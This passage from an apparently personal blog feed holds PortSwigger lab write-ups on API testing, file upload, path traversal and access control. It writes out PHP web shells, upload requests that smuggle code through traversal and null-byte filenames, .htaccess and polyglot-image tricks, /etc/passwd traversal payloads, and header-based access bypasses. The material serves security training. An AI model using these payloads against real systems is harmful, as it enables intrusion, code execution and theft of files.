  <p>We also see that we can comment out the rest of the query that is executed behind the scenes using a #.</p>
</blockquote>

<p><img src="/img2/Pasted%20image%2020251003113349.png" alt="" /></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/swagger-ui.html
/swagger-ui/
/swagger-ui/index.html
/api-docs
/v2/api-docs
/v3/api-docs
/swagger.json
/openapi.json
/api/swagger.json
/docs
/api-docs/
/swagger/
/swagger/index.html
/swagger/v1/swagger.json
/swagger/v2/swagger.json
/swagger/v3/swagger.json
/openapi/
/openapi/v1/
/openapi/v2/
/openapi/v3/
/api/v1/swagger.json
/api/v2/swagger.json
/api/v3/swagger.json
/documentation
/documentation/swagger
/documentation/openapi
/swagger/docs/v1
/swagger/docs/v2
/swagger/docs/v3
/swagger-ui.html#/
/swagger-ui/index.html#/
/openapi/ui
/swagger-ui/v1/
/swagger-ui/v2/
/swagger-ui/v3/
/api/swagger-ui.html
/api/swagger-ui/
/api/documentation
/v1/documentation
/v2/documentation
/v3/documentation
/swagger-resources
/swagger-resources/configuration/ui
/swagger-resources/configuration/security
/swagger-resources/swagger.json
/swagger-resources/openapi.json
/swagger-ui/swagger-ui.html
/swagger-ui/swagger-ui/
/swagger-ui.html/swagger-resources
/swagger-ui.html/swagger-resources/configuration/ui
/swagger-ui.html/swagger-resources/configuration/security
/api/swagger-resources
/api/swagger-resources/configuration/ui
/api/swagger-resources/configuration/security
/api/swagger-resources/swagger.json
/api/swagger-resources/openapi.json
/swagger/v1/
/swagger/v2/
/swagger/v3/
/swagger-ui/v1/swagger.json
/swagger-ui/v2/swagger.json
/swagger-ui/v3/swagger.json
/api/swagger-ui/v1/
/api/swagger-ui/v2/
/api/swagger-ui/v3/
/openapi/swagger.json
/openapi/openapi.json
/api/openapi
/api/openapi.json
/api/v1/openapi.json
/api/v2/openapi.json
/api/v3/openapi.json
/swagger.yaml
/openapi.yaml
/swagger.yml
/openapi.yml
/v1/swagger.yaml
/v2/swagger.yaml
/v3/swagger.yaml
/v1/openapi.yaml
/v2/openapi.yaml
/v3/openapi.yaml
/swagger/api
/openapi/api
/swagger/api-docs
/openapi/api-docs
/swagger/api/swagger.json
/openapi/api/openapi.json
/swagger/api/v1/swagger.json
/swagger/api/v2/swagger.json
/swagger/api/v3/swagger.json
/openapi/api/v1/openapi.json
/openapi/api/v2/openapi.json
/openapi/api/v3/openapi.json
/swagger/api/swagger.yaml
/swagger/api/swagger.yml
/openapi/api/openapi.yaml
/openapi/api/openapi.yml
</code></pre></div></div>

<p><img src="/img2/Pasted%20image%2020251003113330.png" alt="" /></p>

<blockquote>
  <p>Using Intruder we fuzz common API directories. We find that openapi.json leaks the internal endpoint that is executed behind the scenes /api/internal/v1/users/{username}/field/{field}.</p>
</blockquote>

<p><img src="/img2/Pasted%20image%2020251003113701.png" alt="" /></p>

<p><img src="/img2/Pasted%20image%2020251003113728.png" alt="" /></p>

<blockquote>
  <p>Using path traversal we point to the internal endpoint revealed, specifying another field in field. We know this field thanks to the JS file executed during the password change process. Behind the scenes the query would look like this:</p>
</blockquote>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">/</span><span class="n">api</span><span class="o">/</span><span class="n">internal</span><span class="o">/</span><span class="n">v1</span><span class="o">/</span><span class="n">users</span><span class="o">/</span><span class="n">administrator</span><span class="o">/</span><span class="p">..</span><span class="o">/</span><span class="p">..</span><span class="o">/</span><span class="p">..</span><span class="o">/</span><span class="p">..</span><span class="o">/</span><span class="p">..</span><span class="o">/</span><span class="p">..</span><span class="o">/</span><span class="p">..</span><span class="o">/</span><span class="p">..</span><span class="o">/</span><span class="n">api</span><span class="o">/</span><span class="n">internal</span><span class="o">/</span><span class="n">v1</span><span class="o">/</span><span class="n">users</span><span class="o">/</span><span class="n">administrator</span><span class="o">/</span><span class="n">field</span><span class="o">/</span><span class="n">passwordResetToken</span><span class="c1">#/field/email
</span></code></pre></div></div>

<p><img src="/img2/Pasted%20image%2020251003114120.png" alt="" /></p>]]></content><author><name>PyUs3r</name><email>pyus3r@gmail.com</email><uri>https://linktr.ee/pyus3r</uri></author><category term="portswigger" /><category term="Web" /><category term="Burpsuite" /><category term="API" /><summary type="html"><![CDATA[All API testing labs of PortSwigger.]]></summary></entry><entry><title type="html">File upload - PortSwigger</title><link href="https://py-us3r.github.io/burp-writeup-fileuploads/" rel="alternate" type="text/html" title="File upload - PortSwigger" /><published>2025-09-27T00:00:00+00:00</published><updated>2025-09-27T00:00:00+00:00</updated><id>https://py-us3r.github.io/burp-writeup-fileuploads</id><content type="html" xml:base="https://py-us3r.github.io/burp-writeup-fileuploads/"><![CDATA[<h2 id="tips">TIPS</h2>

<ul>
  <li>Path Traversal to bypass restriction</li>
</ul>

<div class="language-http highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">Content-Disposition: form-data; name="avatar"; filename="%2e%2e%2fexploit.php"
Content-Type: application/x-php

&lt;?php system("cat /home/carlos/secret"); ?&gt;
</span></code></pre></div></div>

<ul>
  <li>Null Byte</li>
</ul>

<div class="language-http highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">Content-Disposition: form-data; name="avatar"; filename="exploit.php%00png"
Content-Type: application/x-php

&lt;?php system("cat /home/carlos/secret"); ?&gt;
</span></code></pre></div></div>

<ul>
  <li>Extension blacklist bypass</li>
</ul>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>php
php2
php3
php4
php5
php6
php7
phps
pht
phtm
phtml
pgif
shtml
htaccess
phar
inc
hphp
ctp
module
php
php4
php5
phtml
module
inc
hphp
ctp
</code></pre></div></div>

<ul>
  <li>.htaccess</li>
</ul>

<div class="language-http highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">Content-Disposition: form-data; name="avatar"; filename=".htaccess"
Content-Type: text/plain

AddType application/x-httpd-php .test
</span></code></pre></div></div>

<div class="language-http highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">Content-Disposition: form-data; name="avatar"; filename="cmd.test"
Content-Type: application/x-php

&lt;?php system($_GET[0]);?&gt;
</span></code></pre></div></div>

<ul>
  <li>Magik Numbers</li>
</ul>

<div class="language-http highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">Content-Disposition: form-data; name="avatar"; filename="cmd.php"
Content-Type: application/octet-stream

GIF8;

&lt;?php system($_GET[0]);?&gt;
</span></code></pre></div></div>

<ul>
  <li>Metadata</li>
</ul>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>exiftool <span class="nt">-Comment</span><span class="o">=</span><span class="s1">'&lt;?php system($_GET[0]);?&gt;'</span> cmd.png <span class="nt">-o</span> cmd.php
</code></pre></div></div>

<ul>
  <li>Race Condition</li>
</ul>

<p><img src="/img2/Pasted%20image%2020250927221338.png" alt="" /></p>

<div class="language-http highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">- REQ 1 -
Content-Disposition: form-data; name="avatar"; filename="cmd.php"
Content-Type: application/octet-stream

&lt;?php system($_GET[0]);?&gt;


- REQ 2 -
</span><span class="nf">GET</span> <span class="nn">/files/avatars/cmd.php?0=whoami</span> <span class="k">HTTP</span><span class="o">/</span><span class="m">2</span>
</code></pre></div></div>

<h2 id="ejecución-remota-con-web-shell-subida--remote-code-execution-via-web-shell-upload">Ejecución remota con web shell subida || Remote code execution via web shell upload</h2>

<p><img src="/img2/Pasted%20image%2020250925143820.png" alt="" /></p>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">&lt;?php</span> <span class="nb">system</span><span class="p">(</span><span class="nv">$_GET</span><span class="p">[</span><span class="mi">0</span><span class="p">]);</span><span class="cp">?&gt;</span>
</code></pre></div></div>

<blockquote>
  <p>We upload a malicious php file in the add avatar function.</p>
</blockquote>

<p><img src="/img2/Pasted%20image%2020250925143937.png" alt="" /></p>

<blockquote>
  <p>We point to the uploaded “image” and see that it executes the php code.</p>
</blockquote>

<h2 id="web-shell-por-bypass-de-content-type--web-shell-upload-via-content-type-restriction-bypass">Web shell por bypass de Content-Type || Web shell upload via Content-Type restriction bypass</h2>

<p><img src="/img2/Pasted%20image%2020250927114713.png" alt="" /></p>

<blockquote>
  <p>When uploading a php file we see a validation is applied on the Content-Type.</p>
</blockquote>

<p><img src="/img2/Pasted%20image%2020250927114819.png" alt="" /></p>

<blockquote>
  <p>If we change the Content-Type of the file we bypass the restriction without changing the file contents.</p>
</blockquote>

<p><img src="/img2/Pasted%20image%2020250927114917.png" alt="" /></p>

<h2 id="web-shell-por-path-traversal--web-shell-upload-via-path-traversal">Web shell por path traversal || Web shell upload via path traversal</h2>

<p><img src="/img2/Pasted%20image%2020250908183034.png" alt="" /></p>

<blockquote>
  <p>We upload a malicious php file in the avatars section.</p>
</blockquote>

<p><img src="/img2/Pasted%20image%2020250908183138.png" alt="" /></p>

<blockquote>
  <p>When accessing the php file we see the server has some restriction that prevents executing its contents.</p>
</blockquote>

<p><img src="/img2/Pasted%20image%2020250908183233.png" alt="" /></p>

<p><img src="/img2/Pasted%20image%2020250908183302.png" alt="" /></p>

<blockquote>
  <p>We try to upload the file with a Path Traversal, however the server does not find the file.</p>
</blockquote>

<p><img src="/img2/Pasted%20image%2020250908183740.png" alt="" /></p>

<blockquote>
  <p>If we try to bypass the Path Traversal restriction with URL-encoding, i.e. ../../exploit.php -&gt; %2e%2e%2f%2e%2e%2fexploit.php, it seems the server attempts to upload a file to the root. That is why it returns forbidden.</p>
</blockquote>

<p><img src="/img2/Pasted%20image%2020250908184005.png" alt="" /></p>

<blockquote>
  <p>We apply the same bypass but target the /files directory. In this case the upload is allowed.</p>
</blockquote>

<p><img src="/img2/Pasted%20image%2020250908184124.png" alt="" /></p>

<blockquote>
  <p>We point to the file and observe code execution.</p>
</blockquote>

<h2 id="web-shell-por-bypass-de-blacklist-de-extensiones--web-shell-upload-via-extension-blacklist-bypass">Web shell por bypass de blacklist de extensiones || Web shell upload via extension blacklist bypass</h2>

<ul>
  <li>Method 1</li>
</ul>

<p><img src="/img2/Pasted%20image%2020250927131524.png" alt="" /></p>

<blockquote>
  <p>When uploading a php file we see a validation on the extension.</p>
</blockquote>

<p><img src="/img2/Pasted%20image%2020250927131619.png" alt="" /></p>

<p><img src="/img2/Pasted%20image%2020250927131637.png" alt="" /></p>

<blockquote>
  <p>Using intruder we use a wordlist to upload files with php-like extensions.</p>
</blockquote>

<p><img src="/img2/Pasted%20image%2020250927131748.png" alt="" /></p>

<p><img src="/img2/Pasted%20image%2020250927131825.png" alt="" /></p>

<blockquote>
  <p>After uploading the files with various extensions we run a second intruder to check which files are interpreted as php. By filtering on response length we see that the phar extension executes php code.</p>
</blockquote>

<p><img src="/img2/Pasted%20image%2020250927132033.png" alt="" /></p>

<ul>
  <li>Method 2</li>
</ul>

<p><img src="/img2/Pasted%20image%2020250927132119.png" alt="" /></p>

<blockquote>
  <p>We use a .htaccess file to add additional extensions.</p>
</blockquote>

<p><img src="/img2/Pasted%20image%2020250927132204.png" alt="" /></p>

<blockquote>
  <p>Once the .test extension is added via .htaccess we can upload a php file with the custom extension.</p>
</blockquote>

<p><img src="/img2/Pasted%20image%2020250927132309.png" alt="" /></p>

<h2 id="web-shell-con-extensión-de-archivo-ofuscada--web-shell-upload-via-obfuscated-file-extension">Web shell con extensión de archivo ofuscada || Web shell upload via obfuscated file extension</h2>

<p><img src="/img2/Pasted%20image%2020250908200206.png" alt="" /></p>

<blockquote>
  <p>We attempt to upload a php file but the server only allows JPG and PNG extensions. At this point we must check where the extension is validated. In this case the validation only checks that the uploaded file ends with JPG or PNG.</p>
</blockquote>

<p><img src="/img2/Pasted%20image%2020250908200136.png" alt="" /></p>

<blockquote>
  <p>To bypass this restriction we use null bytes which disable the final extension. This only works on old servers.</p>
</blockquote>

<h2 id="ejecución-remota-con-web-shell-multi-formato--remote-code-execution-via-polyglot-web-shell-upload">Ejecución remota con web shell multi-formato || Remote code execution via polyglot web shell upload</h2>

<ul>
  <li>Method 1</li>
</ul>

<p><img src="/img2/Pasted%20image%2020250927140749.png" alt="" /></p>

<blockquote>
  <p>When uploading the php file we see a server-side check validates that the file is a legitimate image.</p>
</blockquote>

<p><img src="/img2/Pasted%20image%2020250927140921.png" alt="" /></p>

<blockquote>
  <p>If we add the initial magic numbers of a png image we fool the server and insert php content as if it were an image.</p>
</blockquote>

<p><img src="/img2/Pasted%20image%2020250927141015.png" alt="" /></p>

<ul>
  <li>Method 2</li>
</ul>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>exiftool <span class="nt">-Comment</span><span class="o">=</span><span class="s1">'&lt;?php system($_GET[0]);?&gt;'</span> cmd.png <span class="nt">-o</span> cmd.php
</code></pre></div></div>

<p><img src="/img2/Pasted%20image%2020250927144505.png" alt="" /></p>

<h2 id="web-shell-por-condición-de-carrera--web-shell-upload-via-race-condition">Web shell por condición de carrera || Web shell upload via race condition</h2>

<p><img src="/img2/Pasted%20image%2020250927221008.png" alt="" /></p>

<blockquote>
  <p>When uploading the file we notice the response takes slightly longer than normal. This may be because some processing is applied to our file.</p>
</blockquote>

<p><img src="/img2/Pasted%20image%2020250927221149.png" alt="" /></p>

<blockquote>
  <p>We create a group with two requests. The first uploads the malicious file. The second requests the file we just uploaded before it is deleted. To send the requests at the same time we create a group and send the requests in parallel.</p>
</blockquote>]]></content><author><name>PyUs3r</name><email>pyus3r@gmail.com</email><uri>https://linktr.ee/pyus3r</uri></author><category term="portswigger" /><category term="Web" /><category term="Burpsuite" /><category term="File Upload" /><category term="Web Shells" /><summary type="html"><![CDATA[All File upload vulnerabilities of PortSwigger.]]></summary></entry><entry><title type="html">Path Traversal - PortSwigger</title><link href="https://py-us3r.github.io/burp-writeup-pathtraversal/" rel="alternate" type="text/html" title="Path Traversal - PortSwigger" /><published>2025-09-25T00:00:00+00:00</published><updated>2025-09-25T00:00:00+00:00</updated><id>https://py-us3r.github.io/burp-writeup-pathtraversal</id><content type="html" xml:base="https://py-us3r.github.io/burp-writeup-pathtraversal/"><![CDATA[<h2 id="path-traversal-cheet-sheat">Path Traversal Cheet Sheat</h2>

<ul>
  <li>Agartha Burp Extension</li>
</ul>

<p><img src="/img2/Pasted%20image%2020250908204757.png" alt="" /></p>

<ul>
  <li>Simple Case</li>
</ul>

<div class="language-http highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">../../../../../../../../../../../etc/passwd
</span></code></pre></div></div>

<ul>
  <li>Absolute Path</li>
</ul>

<div class="language-http highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">/etc/passwd
</span></code></pre></div></div>

<ul>
  <li>Doble <code class="language-plaintext highlighter-rouge">../</code></li>
</ul>

<div class="language-http highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">....//....//....//....//....//....//etc/passwd
</span></code></pre></div></div>

<ul>
  <li>Doble URL-Encode <code class="language-plaintext highlighter-rouge">../</code></li>
</ul>

<div class="language-http highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65/etc/passwd
</span></code></pre></div></div>

<ul>
  <li>Validation of start of path</li>
</ul>

<div class="language-http highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">/var/www/images/../../../../../../etc/passwd
</span></code></pre></div></div>

<ul>
  <li>Null Byte</li>
</ul>

<div class="language-http highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">../../../../../../../etc/passwd%00.jpg
</span></code></pre></div></div>

<h2 id="bypass-absoluto-con-secuencias-bloqueadas--file-path-traversal-traversal-sequences-blocked-with-absolute-path-bypass">Bypass absoluto con secuencias bloqueadas || File path traversal, traversal sequences blocked with absolute path bypass</h2>

<p><img src="/img2/Pasted%20image%2020250908204503.png" alt="" /></p>

<blockquote>
  <p>If we try to do Path Traversal we see that the server does not interpret the file.</p>
</blockquote>

<p><img src="/img2/Pasted%20image%2020250908204437.png" alt="" /></p>

<blockquote>
  <p>When using the absolute path the server does return the file contents.</p>
</blockquote>

<h2 id="secuencias-traversal-eliminadas-sin-recursión--file-path-traversal-traversal-sequences-stripped-non-recursively">Secuencias traversal eliminadas sin recursión || File path traversal, traversal sequences stripped non-recursively</h2>

<p><img src="/img2/Pasted%20image%2020250925122145.png" alt="" /></p>

<blockquote>
  <p>We test the basic payload and see that we do not pass validation.</p>
</blockquote>

<p><img src="/img2/Pasted%20image%2020250925122108.png" alt="" /></p>

<blockquote>
  <p>To bypass the block we can make use of double <code class="language-plaintext highlighter-rouge">../</code></p>
</blockquote>

<h2 id="bypass-con-doble-decodificación-en-url--file-path-traversal-traversal-sequences-stripped-with-superfluous-url-decode">Bypass con doble decodificación en URL || File path traversal, traversal sequences stripped with superfluous URL-decode</h2>

<p><img src="/img2/Pasted%20image%2020250908202939.png" alt="" /></p>

<blockquote>
  <p>We test the basic LFI payload and see that it is not being interpreted.</p>
</blockquote>

<p><img src="/img2/Pasted%20image%2020250908203057.png" alt="" /></p>

<blockquote>
  <p>With the Agartha extension we create a wordlist with different payloads.</p>
</blockquote>

<p><img src="/img2/Pasted%20image%2020250908203146.png" alt="" /></p>

<p><img src="/img2/Pasted%20image%2020250908203224.png" alt="" /></p>

<blockquote>
  <p>With a double URL-encode we bypass the restriction.</p>
</blockquote>

<h2 id="validación-del-inicio-de-la-ruta--file-path-traversal-validation-of-start-of-path">Validación del inicio de la ruta || File path traversal, validation of start of path</h2>

<p><img src="/img2/Pasted%20image%2020250925123639.png" alt="" /></p>

<blockquote>
  <p>We see the server loading an image with the absolute path.</p>
</blockquote>

<p><img src="/img2/Pasted%20image%2020250925123739.png" alt="" /></p>

<blockquote>
  <p>If we try to do a Path Traversal after the jpg file, we see the server does not return the contents of <code class="language-plaintext highlighter-rouge">/etc/passwd</code>.</p>
</blockquote>

<p><img src="/img2/Pasted%20image%2020250925123440.png" alt="" /></p>

<blockquote>
  <p>If we do the same but from the images directory, we see that it does allow us to read the contents of <code class="language-plaintext highlighter-rouge">/etc/passwd</code>.</p>
</blockquote>

<h2 id="bypass-con-null-byte-y-validación-de-extensión--file-path-traversal-validation-of-file-extension-with-null-byte-bypass">Bypass con null byte y validación de extensión || File path traversal, validation of file extension with null byte bypass</h2>

<p><img src="/img2/Pasted%20image%2020250925124201.png" alt="" /></p>

<blockquote>
  <p>We try to inject the basic payload and see that the server does not allow us to read the contents of <code class="language-plaintext highlighter-rouge">/etc/passwd</code></p>
</blockquote>

<p><img src="/img2/Pasted%20image%2020250925124113.png" alt="" /></p>

<blockquote>
  <p>To be able to read the contents we can make use of null bytes. Null bytes allow disabling the final extension, so if there is a validation that forces loading .jpg files, we will be tricking the server.</p>
</blockquote>]]></content><author><name>PyUs3r</name><email>pyus3r@gmail.com</email><uri>https://linktr.ee/pyus3r</uri></author><category term="portswigger" /><category term="Web" /><category term="Burpsuite" /><category term="Path Traversal" /><category term="LFI" /><summary type="html"><![CDATA[All Path Traversal labs of PortSwigger.]]></summary></entry><entry><title type="html">Access control - PortSwigger</title><link href="https://py-us3r.github.io/burp-writeup-accesscontrol/" rel="alternate" type="text/html" title="Access control - PortSwigger" /><published>2025-09-24T00:00:00+00:00</published><updated>2025-09-24T00:00:00+00:00</updated><id>https://py-us3r.github.io/burp-writeup-accesscontrol</id><content type="html" xml:base="https://py-us3r.github.io/burp-writeup-accesscontrol/"><![CDATA[<h2 id="tips">TIPS</h2>

<ul>
  <li>
    <p>Check robots.txt</p>
  </li>
  <li>
    <p>Review source code for hidden paths</p>
  </li>
  <li>
    <p>Check parameters inside cookies</p>
  </li>
  <li>
    <p>Change user role via Mass Assignment</p>
  </li>
  <li>
    <p>Change user ID via IDOR</p>
  </li>
  <li>
    <p>Avoid redirects</p>
  </li>
  <li>
    <p>IDOR when downloading a file</p>
  </li>
  <li>
    <p>Bypass with X-Original-Url header</p>
  </li>
</ul>

<div class="language-http highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">X-Original-Url: /admin
</span></code></pre></div></div>

<ul>
  <li>
    <p>Change type of text in password input fields to text</p>
  </li>
  <li>
    <p>Change HTTP method</p>
  </li>
  <li>
    <p>Bypass with Referer header</p>
  </li>
</ul>

<h2 id="funcionalidad-admin-sin-protección--unprotected-admin-functionality">Funcionalidad admin sin protección || Unprotected admin functionality</h2>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>❯ dirsearch <span class="nt">-u</span> https://0a7200e7031743509f2d593d0066002e.web-security-academy.net
</code></pre></div></div>

<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code>
  <span class="n">_</span><span class="o">|</span><span class="p">.</span> <span class="nf">_</span> <span class="n">_</span>  <span class="n">_</span>  <span class="n">_</span>  <span class="n">_</span> <span class="n">_</span><span class="o">|</span><span class="n">_</span>    <span class="n">v0</span><span class="o">.</span><span class="mf">4.3</span>
 <span class="p">(</span><span class="n">_</span><span class="o">|||</span> <span class="n">_</span><span class="p">)</span> <span class="p">(</span><span class="sr">/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460

Output File: /</span><span class="n">home</span><span class="o">/</span><span class="n">pyuser</span><span class="o">/</span><span class="n">reports</span><span class="o">/</span><span class="n">https_0a7200e7031743509f2d593d0066002e</span><span class="p">.</span><span class="nf">web</span><span class="o">-</span><span class="n">security</span><span class="o">-</span><span class="n">academy</span><span class="p">.</span><span class="nf">net</span><span class="o">/</span><span class="n">_25</span><span class="o">-</span><span class="mi">08</span><span class="o">-</span><span class="mi">26_12</span><span class="o">-</span><span class="mi">34</span><span class="o">-</span><span class="mi">45</span><span class="p">.</span><span class="nf">txt</span>

<span class="no">Target</span><span class="p">:</span> <span class="n">https</span><span class="ss">:/</span><span class="o">/</span><span class="mi">0</span><span class="n">a7200e7031743509f2d593d0066002e</span><span class="p">.</span><span class="nf">web</span><span class="o">-</span><span class="n">security</span><span class="o">-</span><span class="n">academy</span><span class="p">.</span><span class="nf">net</span><span class="o">/</span>

<span class="p">[</span><span class="mi">12</span><span class="p">:</span><span class="mi">34</span><span class="p">:</span><span class="mi">45</span><span class="p">]</span> <span class="no">Starting</span><span class="p">:</span>
<span class="p">[</span><span class="mi">12</span><span class="p">:</span><span class="mi">36</span><span class="p">:</span><span class="mi">43</span><span class="p">]</span> <span class="mi">200</span> <span class="o">-</span>    <span class="mi">2</span><span class="no">KB</span> <span class="o">-</span> <span class="sr">/favicon.ico
[12:37:07] 200 -  981B  - /</span><span class="n">login</span>
<span class="p">[</span><span class="mi">12</span><span class="p">:</span><span class="mi">37</span><span class="p">:</span><span class="mi">08</span><span class="p">]</span> <span class="mi">200</span> <span class="o">-</span>  <span class="mi">981</span><span class="no">B</span>  <span class="o">-</span> <span class="sr">/login/</span>
<span class="p">[</span><span class="mi">12</span><span class="p">:</span><span class="mi">37</span><span class="p">:</span><span class="mi">09</span><span class="p">]</span> <span class="mi">302</span> <span class="o">-</span>    <span class="mi">0</span><span class="no">B</span>  <span class="o">-</span> <span class="sr">/logout  -&gt;  /</span>
<span class="p">[</span><span class="mi">12</span><span class="p">:</span><span class="mi">37</span><span class="p">:</span><span class="mi">09</span><span class="p">]</span> <span class="mi">302</span> <span class="o">-</span>    <span class="mi">0</span><span class="no">B</span>  <span class="o">-</span> <span class="sr">/logout/</span>  <span class="o">-&gt;</span>  <span class="sr">/
[12:37:39] 400 -   50B  - /</span><span class="n">product</span>
<span class="p">[</span><span class="mi">12</span><span class="p">:</span><span class="mi">37</span><span class="p">:</span><span class="mi">46</span><span class="p">]</span> <span class="mi">200</span> <span class="o">-</span>   <span class="mi">65</span><span class="no">B</span>  <span class="o">-</span> <span class="sr">/robots.txt
</span></code></pre></div></div>

<blockquote>
  <p>We perform fuzzing and find the robots.txt file</p>
</blockquote>

<p><img src="/img2/Pasted%20image%2020250826124011.png" alt="" /></p>

<p><img src="/img2/Pasted%20image%2020250826124040.png" alt="" /></p>

<h2 id="funcionalidad-admin-con-url-impredecible--unprotected-admin-functionality-with-unpredictable-url">Funcionalidad admin con URL impredecible || Unprotected admin functionality with unpredictable URL</h2>

<p><img src="/img2/Pasted%20image%2020250826124643.png" alt="" /></p>

<p><img src="/img2/Pasted%20image%2020250826124733.png" alt="" /></p>

<h2 id="rol-de-usuario-controlado-por-parámetro--user-role-controlled-by-request-parameter">Rol de usuario controlado por parámetro || User role controlled by request parameter</h2>

<p><img src="/img2/Pasted%20image%2020250826125710.png" alt="" /></p>

<blockquote>
  <p>We found an Admin parameter in the cookie.</p>
</blockquote>

<p><img src="/img2/Pasted%20image%2020250826125832.png" alt="" /></p>

<blockquote>
  <p>We change the cookie value to true.</p>
</blockquote>

<p><img src="/img2/Pasted%20image%2020250826125848.png" alt="" /></p>

<h2 id="modificación-del-rol-en-el-perfil-de-usuario--user-role-can-be-modified-in-user-profile">Modificación del rol en el perfil de usuario || User role can be modified in user profile</h2>

<p><img src="/img2/Pasted%20image%2020250826130614.png" alt="" /></p>

<blockquote>
  <p>By changing the email, we receive a response with more “hidden” values.</p>
</blockquote>

<p><img src="/img2/Pasted%20image%2020250826130636.png" alt="" /></p>

<blockquote>
  <p>We change one of these values to see if we can modify the user’s privileges.</p>
</blockquote>

<p><img src="/img2/Pasted%20image%2020250826130746.png" alt="" /></p>

<h2 id="id-de-usuario-controlado-por-parámetro--user-id-controlled-by-request-parameter">ID de usuario controlado por parámetro || User ID controlled by request parameter</h2>

<p><img src="/img2/Pasted%20image%2020250826131420.png" alt="" /></p>

<blockquote>
  <p>By changing the id parameter to an existing user, we can see their API Key.</p>
</blockquote>

<p><img src="/img2/Pasted%20image%2020250826131551.png" alt="" /></p>

<h2 id="id-de-usuario-impredecible-controlado-por-parámetro--user-id-controlled-by-request-parameter-with-unpredictable-user-ids">ID de usuario impredecible controlado por parámetro || User ID controlled by request parameter, with unpredictable user IDs</h2>

<p><img src="/img2/Pasted%20image%2020250830134029.png" alt="" /></p>

<blockquote>
  <p>In this case, a GUID is being used.</p>
</blockquote>

<p><img src="/img2/Pasted%20image%2020250830134207.png" alt="" /></p>

<blockquote>
  <p>We can obtain the actor’s GUID from the posts section.</p>
</blockquote>

<p><img src="/img2/Pasted%20image%2020250830134340.png" alt="" /></p>

<h2 id="filtración-de-datos-en-redirección-con-id-por-parámetro--user-id-controlled-by-request-parameter-with-data-leakage-in-redirect">Filtración de datos en redirección con ID por parámetro || User ID controlled by request parameter with data leakage in redirect</h2>

<p><img src="/img2/Pasted%20image%2020250830134910.png" alt="" /></p>

<blockquote>
  <p>By changing the user identifier, it redirects us to the user Carlos’s panel.</p>
</blockquote>

<h2 id="filtración-de-contraseña-con-id-por-parámetro--user-id-controlled-by-request-parameter-with-password-disclosure">Filtración de contraseña con ID por parámetro || User ID controlled by request parameter with password disclosure</h2>

<p><img src="/img2/Pasted%20image%2020250830135939.png" alt="" /></p>

<blockquote>
  <p>The server allows us to view the admin user panel, showing the password “hidden” in the input field.</p>
</blockquote>

<p><img src="/img2/Pasted%20image%2020250830140047.png" alt="" /></p>

<h2 id="referencias-directas-inseguras-a-objetos--insecure-direct-object-references">Referencias directas inseguras a objetos || Insecure direct object references</h2>

<p><img src="/img2/Pasted%20image%2020250830141339.png" alt="" /></p>

<blockquote>
  <p>When downloading the chat, we download a file 2.txt; however, it’s the first time downloading the file, so there might be a 1.txt from another user.</p>
</blockquote>

<p><img src="/img2/Pasted%20image%2020250830141511.png" alt="" /></p>

<blockquote>
  <p>We see another user’s chat showing their password.</p>
</blockquote>

<p><img src="/img2/Pasted%20image%2020250830141551.png" alt="" /></p>

<h2 id="bypass-de-control-por-url--url-based-access-control-can-be-circumvented">Bypass de control por URL || URL-based access control can be circumvented</h2>

<p><img src="/img2/Pasted%20image%2020250830142801.png" alt="" /></p>

<blockquote>
  <p>By using the X-Original-Url header, we see that the backend interprets it.</p>
</blockquote>

<p><img src="/img2/Pasted%20image%2020250830142901.png" alt="" /></p>

<blockquote>
  <p>Thanks to this header, we bypass the frontend restriction and access the admin panel.</p>
</blockquote>

<p><img src="/img2/Pasted%20image%2020250830143006.png" alt="" /></p>

<blockquote>
  <p>When requesting to delete user Carlos, the parameters are not being correctly interpreted.</p>
</blockquote>

<p><img src="/img2/Pasted%20image%2020250830143058.png" alt="" /></p>

<blockquote>
  <p>To have the parameter interpreted, we can include it in the original URL, which will be added to the X-Original-Url header request.</p>
</blockquote>

<h2 id="bypass-de-control-por-método-http--method-based-access-control-can-be-circumvented">Bypass de control por método HTTP || Method-based access control can be circumvented</h2>

<p><img src="/img2/Pasted%20image%2020250830143814.png" alt="" /></p>

<blockquote>
  <p>Trying to elevate privileges for user Wiener, the server responds with “Unauthorized”.</p>
</blockquote>

<p><img src="/img2/Pasted%20image%2020250830143943.png" alt="" /></p>

<blockquote>
  <p>To bypass the restriction, we can change the HTTP method to GET.</p>
</blockquote>

<h2 id="paso-sin-control-de-acceso-en-proceso-múltiple--multi-step-process-with-no-access-control-on-one-step">Paso sin control de acceso en proceso múltiple || Multi-step process with no access control on one step</h2>

<p><img src="/img2/Pasted%20image%2020250831133323.png" alt="" /></p>

<p><img src="/img2/Pasted%20image%2020250831133515.png" alt="" /></p>

<blockquote>
  <p>In this case, elevating a user’s privileges requires confirmation.</p>
</blockquote>

<p><img src="/img2/Pasted%20image%2020250831133628.png" alt="" /></p>

<blockquote>
  <p>By sending the confirmation directly with user Wiener, the server only validates the first request, not both.</p>
</blockquote>

<h2 id="control-de-acceso-basado-en-referer--referer-based-access-control">Control de acceso basado en Referer || Referer-based access control</h2>

